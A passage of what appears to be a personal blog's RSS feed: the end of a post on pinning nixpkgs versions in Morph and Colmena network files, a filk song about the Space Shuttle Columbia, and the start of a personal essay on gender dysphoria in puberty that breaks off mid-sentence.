style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  nixos_23_11 = builtins.fetchTarball {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;nixos-23.11-2024-02-18&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;https://github.com/nixos/nixpkgs/archive/84d981bae8b5e783b3b548de505b22880559515f.tar.gz&amp;#34;&lt;/span&gt;; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sha256 = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0d6j5d31kzfla0x8f64ranp681dhd0hwxihbf3jjpb18cnddxag8&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;in&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  network = {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This creates a binding (that is, a name for a value) to a path in the Nix store,&#xA;which can be loaded with &lt;code&gt;import&lt;/code&gt;.&#xA;Loading the Nix files in that folder results in a function which,&#xA;when called with whatever options you need to set,&#xA;produces the nixpkgs attrset.&#xA;That&amp;rsquo;s then passed to your configuration files as the &lt;code&gt;pkgs&lt;/code&gt; argument by Morph.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Note that I&amp;rsquo;ve used the URL and hash computed here, and used the current date as part of the &lt;code&gt;name&lt;/code&gt;.&#xA;Don&amp;rsquo;t do that unless you&amp;rsquo;re reading this on release day, because NixOS will probably have updated since then!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Morph allows you to specify the nixpkgs data in the &lt;code&gt;network&lt;/code&gt; metadata section.&#xA;This is the most natural place to add any configuration options such as &lt;code&gt;allowUnfree&lt;/code&gt;.&#xA;My &lt;code&gt;network.nix&lt;/code&gt; ended up looking like the following:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-nix&#34; data-lang=&#34;nix&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  nixos_23_11 = builtins.fetchTarball {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;nixos-23.11-2024-02-18&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;https://github.com/nixos/nixpkgs/archive/84d981bae8b5e783b3b548de505b22880559515f.tar.gz&amp;#34;&lt;/span&gt;; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sha256 = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0d6j5d31kzfla0x8f64ranp681dhd0hwxihbf3jjpb18cnddxag8&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;in&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  network = {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Home network&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pkgs = (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; nixos_23_11) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      config.allowUnfree = true;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;felonyspork&amp;#34;&lt;/span&gt; = { ... }: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imports = [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#00f&#34;&gt;../../common/default.nix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#00f&#34;&gt;../../hosts/felonyspork/configuration.nix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    deployment.targetUser = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    deployment.targetHost = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;felonyspork&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# ... other hosts&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Since the nixpkgs options are configured here, they can be removed from other files;&#xA;in my case, &lt;code&gt;common/default.nix&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pinning-with-git-directly&#34;&gt;Pinning with Git Directly&lt;/h2&gt;&#xA;&lt;p&gt;Nix also provides a way to work with Git repos directly, via &lt;a href=&#34;https://nixos.org/manual/nix/stable/language/builtins.html#builtins-fetchGit&#34;&gt;&lt;code&gt;builtins.fetchGit&lt;/code&gt;&lt;/a&gt;.&#xA;The main advantage over &lt;code&gt;fetchTarball&lt;/code&gt; is to be able to specify a branch or other ref,&#xA;rather than a specific commit SHA.&#xA;In this case, specifying a commit is the whole idea, so &lt;code&gt;fetchGit&lt;/code&gt; is not appropriate.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pinning-with-colmena&#34;&gt;Pinning with Colmena&lt;/h2&gt;&#xA;&lt;p&gt;Colmena uses a slightly different hierarchy for its network metadata. A &lt;code&gt;hive.nix&lt;/code&gt; with the same NixOS 23.11 pin as the above &lt;code&gt;network.nix&lt;/code&gt; would look like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-nix&#34; data-lang=&#34;nix&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  nixos_23_11 = builtins.fetchTarball {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;nixos-23.11-2024-02-18&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;https://github.com/nixos/nixpkgs/archive/84d981bae8b5e783b3b548de505b22880559515f.tar.gz&amp;#34;&lt;/span&gt;; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sha256 = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0d6j5d31kzfla0x8f64ranp681dhd0hwxihbf3jjpb18cnddxag8&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;in&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  meta = {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Home network&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    nixpkgs = (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; nixos_23_11) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      config.allowUnfree = true;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;felonyspork&amp;#34;&lt;/span&gt; = { ... }: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imports = [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#00f&#34;&gt;../../common/default.nix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#00f&#34;&gt;../../hosts/felonyspork/configuration.nix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    deployment.targetUser = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    deployment.targetHost = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;felonyspork&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# ... other hosts&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note that &lt;code&gt;network&lt;/code&gt; is renamed to &lt;code&gt;meta&lt;/code&gt;, and &lt;code&gt;pkgs&lt;/code&gt; is renamed to &lt;code&gt;nixpkgs&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;using-a-pinned-nixpkgs&#34;&gt;Using a Pinned nixpkgs&lt;/h2&gt;&#xA;&lt;p&gt;One drawback of this approach is having to manually update the pinned version.&#xA;If this really gets on your nerves, you could use a shell script to do so,&#xA;as long as your NixOS config is version controlled.&lt;/p&gt;&#xA;&lt;p&gt;As of writing this post, the policy is for the NixOS binary cache server to hold&#xA;on to builds forever.&#xA;This helps with pinned NixOS versions, because it means that even if your pinned version&#xA;is very out of date, you won&amp;rsquo;t have to manually rebuild things (except non-free packages,&#xA;or packages you modify.)&#xA;This policy, however, is going to change; see &lt;a href=&#34;https://discourse.nixos.org/t/upcoming-garbage-collection-for-cache-nixos-org/39078&#34;&gt;this forum thread&lt;/a&gt; for more details.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Fly On, Columbia! (Fly Columbia II)</title>
      <link>https://nora.codes/filk/columbia/</link>
      <pubDate>Mon, 28 Aug 2023 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/filk/columbia/</guid>
      <description>&lt;p&gt;&amp;ldquo;Fly, Columbia&amp;rdquo; is a deeply hopeful song. Written in 1981 by Diana Gallagher,&#xA;Leslie Fish&amp;rsquo;s performance on Minus Ten and Counting was one of the first filk&#xA;recordings that really captured me. The chorus names OV-102 &amp;ldquo;the promise of&#xA;better days to come&amp;rdquo;, and blesses her to &amp;ldquo;Sail an orbit free, track the moon and&#xA;chase the sun.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Yet, that was not her fate, as we know &lt;a href=&#34;https://en.wikipedia.org/wiki/Space_Shuttle_Columbia_disaster&#34;&gt;all too&#xA;well&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When I heard The Longest Johns &lt;a href=&#34;https://www.youtube.com/watch?v=jb0PopeyWtw&#34;&gt;cover &amp;ldquo;Roll Northumbria&amp;rdquo;&lt;/a&gt;,&#xA;I immediately thought of this song, and this ship; so I set out to filk it.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&amp;ldquo;Fly, Columbia&amp;rdquo; is a deeply hopeful song. Written in 1981 by Diana Gallagher,&#xA;Leslie Fish&amp;rsquo;s performance on Minus Ten and Counting was one of the first filk&#xA;recordings that really captured me. The chorus names OV-102 &amp;ldquo;the promise of&#xA;better days to come&amp;rdquo;, and blesses her to &amp;ldquo;Sail an orbit free, track the moon and&#xA;chase the sun.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Yet, that was not her fate, as we know &lt;a href=&#34;https://en.wikipedia.org/wiki/Space_Shuttle_Columbia_disaster&#34;&gt;all too&#xA;well&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When I heard The Longest Johns &lt;a href=&#34;https://www.youtube.com/watch?v=jb0PopeyWtw&#34;&gt;cover &amp;ldquo;Roll Northumbria&amp;rdquo;&lt;/a&gt;,&#xA;I immediately thought of this song, and this ship; so I set out to filk it.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fly-on-columbia-fly-columbia-ii&#34;&gt;Fly On, Columbia! (Fly Columbia II)&lt;/h2&gt;&#xA;&lt;p&gt;(to the tune of &lt;em&gt;Roll Northumbria&lt;/em&gt;, by The Dreadnaughts)&lt;/p&gt;&#xA;&lt;p&gt;&amp;rsquo;twas in seventy-five &amp;rsquo;neath the Palmdale sun&lt;br&gt;&#xA;That work on the queen of the skies was begun&lt;br&gt;&#xA;We built her from tungsten and carbon long-spun&lt;br&gt;&#xA;Fly, Columbia, fly&lt;/p&gt;&#xA;&lt;p&gt;For though lunar missions had come to an end&lt;br&gt;&#xA;We still had our place in the stars to defend&lt;br&gt;&#xA;On pillars of flame to the sky she&amp;rsquo;d ascend&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CHORUS&lt;/strong&gt;:&lt;br&gt;&#xA;Fly, Columbia, fly, me boys&lt;br&gt;&#xA;Fly, Columbia, fly&lt;br&gt;&#xA;And it&amp;rsquo;s one for dark sky above&lt;br&gt;&#xA;Two for the crewfolk we love&lt;br&gt;&#xA;And it&amp;rsquo;s three for the millions that watch from below&lt;br&gt;&#xA;Fly on, Columbia&lt;br&gt;&#xA;Fly, Columbia, fly&lt;/p&gt;&#xA;&lt;p&gt;Challenger, Enterprise, Buran and all&lt;br&gt;&#xA;She was the first; with her they&amp;rsquo;d stand or fall&lt;br&gt;&#xA;From the Vandenberg desert through the East&amp;rsquo;s ocean squalls&lt;br&gt;&#xA;Fly, Columbia, fly&lt;/p&gt;&#xA;&lt;p&gt;In three years and two thousand her engines did burn&lt;br&gt;&#xA;And seven doomed spacers did see the Earth turn&lt;br&gt;&#xA;As we watched them drift down with naive unconcern&lt;br&gt;&#xA;&lt;strong&gt;CHORUS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So come all eager spacers who yearn for the sky&lt;br&gt;&#xA;And beware of the small thing that passes your eye&lt;br&gt;&#xA;Lest the powers above your return will deny&lt;br&gt;&#xA;Fly, Columbia, fly&lt;/p&gt;&#xA;&lt;p&gt;Fifteen minutes from land, a dread silence o&amp;rsquo;ercame&lt;br&gt;&#xA;For the space program&amp;rsquo;s heart ne&amp;rsquo;er again was the same&lt;br&gt;&#xA;And seven good spacers were lost to the flame&lt;br&gt;&#xA;&lt;strong&gt;CHORUS x3&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;As a reminder, these lyrics, like everything on this site, are licensed CC-BY-SA.&#xA;That means you can copy them, remix them, and sell things based on them, so long&#xA;as you retain an attribution notice and the CC-BY-SA license. Note that the tune&#xA;is not so licensed.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>The Horror</title>
      <link>https://nora.codes/post/the-horror/</link>
      <pubDate>Thu, 08 Jun 2023 12:55:11 -0500</pubDate>
      <guid>https://nora.codes/post/the-horror/</guid>
      <description>&lt;h3 id=&#34;twelve&#34;&gt;Twelve&lt;/h3&gt;&#xA;&lt;p&gt;It starts when you&amp;rsquo;re about twelve.&lt;/p&gt;&#xA;&lt;p&gt;You haven&amp;rsquo;t thought about it much until then; people call you things,&#xA;but you&amp;rsquo;re just a kid, and that doesn&amp;rsquo;t matter yet.&#xA;You ask for the toys you like, and you don&amp;rsquo;t think about whether they&amp;rsquo;re &amp;ldquo;boy&amp;rdquo;&#xA;or &amp;ldquo;girl&amp;rdquo; toys.&#xA;You have the friends you have, and maybe a few people make jokes about you&#xA;having a &amp;ldquo;girlfriend&amp;rdquo;, but that&amp;rsquo;s all.&lt;/p&gt;&#xA;&lt;p&gt;You heard your parents tell a story once about how your mother thought she was having a girl, and&#xA;she got you all girl&amp;rsquo;s baby clothes, and she couldn&amp;rsquo;t stand to see them on you.&#xA;People laugh. You don&amp;rsquo;t get it.&lt;/p&gt;</description>
      <content:encoded>&lt;h3 id=&#34;twelve&#34;&gt;Twelve&lt;/h3&gt;&#xA;&lt;p&gt;It starts when you&amp;rsquo;re about twelve.&lt;/p&gt;&#xA;&lt;p&gt;You haven&amp;rsquo;t thought about it much until then; people call you things,&#xA;but you&amp;rsquo;re just a kid, and that doesn&amp;rsquo;t matter yet.&#xA;You ask for the toys you like, and you don&amp;rsquo;t think about whether they&amp;rsquo;re &amp;ldquo;boy&amp;rdquo;&#xA;or &amp;ldquo;girl&amp;rdquo; toys.&#xA;You have the friends you have, and maybe a few people make jokes about you&#xA;having a &amp;ldquo;girlfriend&amp;rdquo;, but that&amp;rsquo;s all.&lt;/p&gt;&#xA;&lt;p&gt;You heard your parents tell a story once about how your mother thought she was having a girl, and&#xA;she got you all girl&amp;rsquo;s baby clothes, and she couldn&amp;rsquo;t stand to see them on you.&#xA;People laugh. You don&amp;rsquo;t get it.&lt;/p&gt;&#xA;&lt;p&gt;You go to the doctor every year for a checkup. They look up your nose, tell you&#xA;to breathe in and breath out, have you stand up and sit down, put a cold&#xA;stethoscope on your chest. It&amp;rsquo;s boring, but the doctor is funny, and sometimes&#xA;you get a candy.&lt;/p&gt;&#xA;&lt;p&gt;This time, something&amp;rsquo;s different. The doctor pulls your parents aside, and they&#xA;talk about something you can&amp;rsquo;t quite hear. They all look very serious, like the time you&#xA;spilled something on your dad&amp;rsquo;s laptop and he got really quiet and asked you to&#xA;step out of his study.&#xA;But they&amp;rsquo;re not mad at you. You get a lollipop and a sticker, and the doctor leaves.&lt;/p&gt;&#xA;&lt;p&gt;On the drive home, they tell you things are going to change. You&amp;rsquo;re going to&#xA;start seeing differences in your body. You ask if you&amp;rsquo;re going to get taller and&#xA;they say yes, and that makes them smile. You ask what else, and they say, &amp;ldquo;We&amp;rsquo;ll&#xA;talk about it later.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;You don&amp;rsquo;t talk about it later.&lt;/p&gt;&#xA;&lt;h3 id=&#34;thirteen&#34;&gt;Thirteen&lt;/h3&gt;&#xA;&lt;p&gt;When you&amp;rsquo;re thirteen, you start seeing the first hairs on your arms. It&amp;rsquo;s&#xA;freaky. Some of the other kids are happy about it; they talk about how it means&#xA;they&amp;rsquo;re becoming men. One of them flexes and shows how big his bicep muscles&#xA;are. You think it&amp;rsquo;s all kind of stupid, but you show off your one hair anyway&#xA;and everyone marvels at it. Your parents tell you that it&amp;rsquo;s normal.&lt;/p&gt;&#xA;&lt;p&gt;You&amp;rsquo;re in health class. The teacher talks about how boys and girls&#xA;are different - how boys have more body hair, and their voices are deeper, and&#xA;they&amp;rsquo;re taller and stronger and smell worse. You think about how you have to&#xA;wear deodorant now, and it makes you feel strange.&lt;/p&gt;&#xA;&lt;p&gt;You start having nightmares. You see people in masks, people with knives. You&#xA;want to move, to scream, to run, but you can&amp;rsquo;t. Your body feels wrong.&lt;/p&gt;&#xA;&lt;p&gt;At night, when you wake in a cold sweat, it&amp;rsquo;s almost like you can feel the hairs pushing out of your skin. You&#xA;stop riding you bicycle for fun because hate the feeling of the wind across your&#xA;skin. It just reminds you of the hairs. You buy a razor, but your parents say&#xA;it&amp;rsquo;ll just grow back darker. That makes you cry, and your mother gives you a&#xA;strange look. Confusion - maybe disgust.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fifteen&#34;&gt;Fifteen&lt;/h3&gt;&#xA;&lt;p&gt;You&amp;rsquo;re fifteen. Your voice starts to crack and deepen. It&amp;rsquo;s embarrassing for your&#xA;friends, too, but you don&amp;rsquo;t get the sense that they feel the same way you do.&#xA;They don&amp;rsquo;t get the pit in their stomach when it happens.&#xA;It doesn&amp;rsquo;t make them feel like their body is betraying them.&#xA;You start talking less. Your report card calls you &amp;ldquo;withdrawn&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Eventually, you mention it to a friend. You say you don&amp;rsquo;t like how hairy you&#xA;are, or how you smell, or how your voice sounds. He calls you a faggot, as a&#xA;joke, and tells you that&amp;rsquo;s just what being a man is like. You don&amp;rsquo;t laugh.&lt;/p&gt;&#xA;&lt;p&gt;On the way back from the store one day, your mom asks if you have a girlfriend.&#xA;You don&amp;rsquo;t. A boyfriend? No. She tells you that you can asked her anything, if&#xA;you want to talk about sex. You definitely don&amp;rsquo;t want to talk about sex.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sixteen&#34;&gt;Sixteen&lt;/h3&gt;&#xA;&lt;p&gt;You start skipping class, hanging out with a bunch of girls in the cafeteria.&#xA;You get sent to the guidance counselor and you tell her you feel gross, and&#xA;dirty, and ashamed. She tells you to it&amp;rsquo;s normal, that it&amp;rsquo;s all just part of&#xA;growing up. It doesn&amp;rsquo;t help. You think that maybe you &lt;em&gt;are&lt;/em&gt; a faggot.&lt;/p&gt;&#xA;&lt;p&gt;The nightmares get worse. Nightmares about doctors and knives. Nightmares about&#xA;the hospital. Nightmares about other kids holding you down and hurting you. The&#xA;kids turn into your parents. You decide to start taking diphenhydramine to sleep&#xA;without dreaming.&lt;/p&gt;&#xA;&lt;p&gt;You quit school and go online. The courses are only middling, and you spend most&#xA;of your time playing video games, but at least you don&amp;rsquo;t have to be around the&#xA;other kids every day. You can live in your own little world and feel, if not&#xA;okay, at least less like a monster.&lt;/p&gt;&#xA;&lt;h3 id=&#34;eighteen&#34;&gt;Eighteen&lt;/h3&gt;&#xA;&lt;p&gt;You get into a middling college, with a good scholarship. People wonder why,&#xA;with your grades, you didn&amp;rsquo;t go to a bigger, better, fancier school. Your family&#xA;could afford it. You tell them there was a mixup with your transcript. It&amp;rsquo;s&#xA;true, but you could have fixed it.&#xA;In reality, you just didn&amp;rsquo;t want to be around those people - people you&#xA;respected. You knew they&amp;rsquo;d see right through you, know you for a monster.&lt;/p&gt;&#xA;&lt;p&gt;It finally gets so bad that you confront your parents. &amp;ldquo;What&amp;rsquo;s happening to me?&#xA;I don&amp;rsquo;t want to be a boy. I don&amp;rsquo;t like this.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;You mother tells you that she can&amp;rsquo;t understand why you&amp;rsquo;d want to be a woman.&#xA;Don&amp;rsquo;t you know how bad women have it? To her, womanhood is pain, and fear, and&#xA;oppression. You tell her you think it&amp;rsquo;s beautiful to be a woman, that it&amp;rsquo;s&#xA;meaningful. You can&amp;rsquo;t get what you mean across to her, or she doesn&amp;rsquo;t want to&#xA;listen. Either way, it feels like a slap in the face.&lt;/p&gt;&#xA;&lt;p&gt;The worst part is, you know it doesn&amp;rsquo;t matter. You&amp;rsquo;ve been doing research.&#xA;You&amp;rsquo;ve read that the effects of testosterone are &lt;em&gt;permanent&lt;/em&gt;. They can&amp;rsquo;t be reversed.&#xA;There&amp;rsquo;s surgery for your voice, but that might make you unable to speak. There&amp;rsquo;s&#xA;laser hair removal, but it&amp;rsquo;s expensive, and painful, and anyway you don&amp;rsquo;t want&#xA;to &amp;ldquo;mitigate&amp;rdquo; the body hair, you want it gone.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s over. You&amp;rsquo;ve lost a war against your body that nobody even told you could be won.&#xA;&lt;strong&gt;This is the horror.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;this-is-the-horror&#34;&gt;This is the Horror&lt;/h3&gt;&#xA;&lt;p&gt;This is not a story about a forced transition, though it might read like one.&#xA;Were those parents giving you testosterone injections, or gel, or pills against&#xA;your will? Almost certainly not; this simply doesn&amp;rsquo;t happen, except for instances&#xA;of intersex children being forcibly transitioned into a binary gender presentation their parents or doctors&#xA;are more comfortable with.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;No, this is a story about my life. This is very similar to what happened to me, with a few&#xA;slight inventions and omissions so as not to immediately give away my assigned&#xA;gender at birth. From the ages of 13 to 20, I was incredibly uncomfortable with&#xA;what was happening to my body because of my endogenous testosterone, and nobody&#xA;told me there was an alternative. I almost killed myself twice because of it.&lt;/p&gt;&#xA;&lt;p&gt;I cannot describe to you the level of horror that comes from seeing your body&#xA;twist into shapes and forms you do not want, do not feel are even your own.&#xA;Had I had access to puberty blockers or hormone replacement therapy at 13,&#xA;I would not have a voice I am uncomfortable using to this day.&#xA;I would not have spent thousands on laser hair removal to feel safe walking down the street.&#xA;I would be fitter, happier, and more accomplished, because I wouldn&amp;rsquo;t have been&#xA;wallowing in dysphoria and depression for a third of my life.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fight-the-horror&#34;&gt;Fight the Horror&lt;/h3&gt;&#xA;&lt;p&gt;We fight the horror with acceptance, with access to gender-affirming care, with&#xA;telling people that it&amp;rsquo;s okay to be trans, 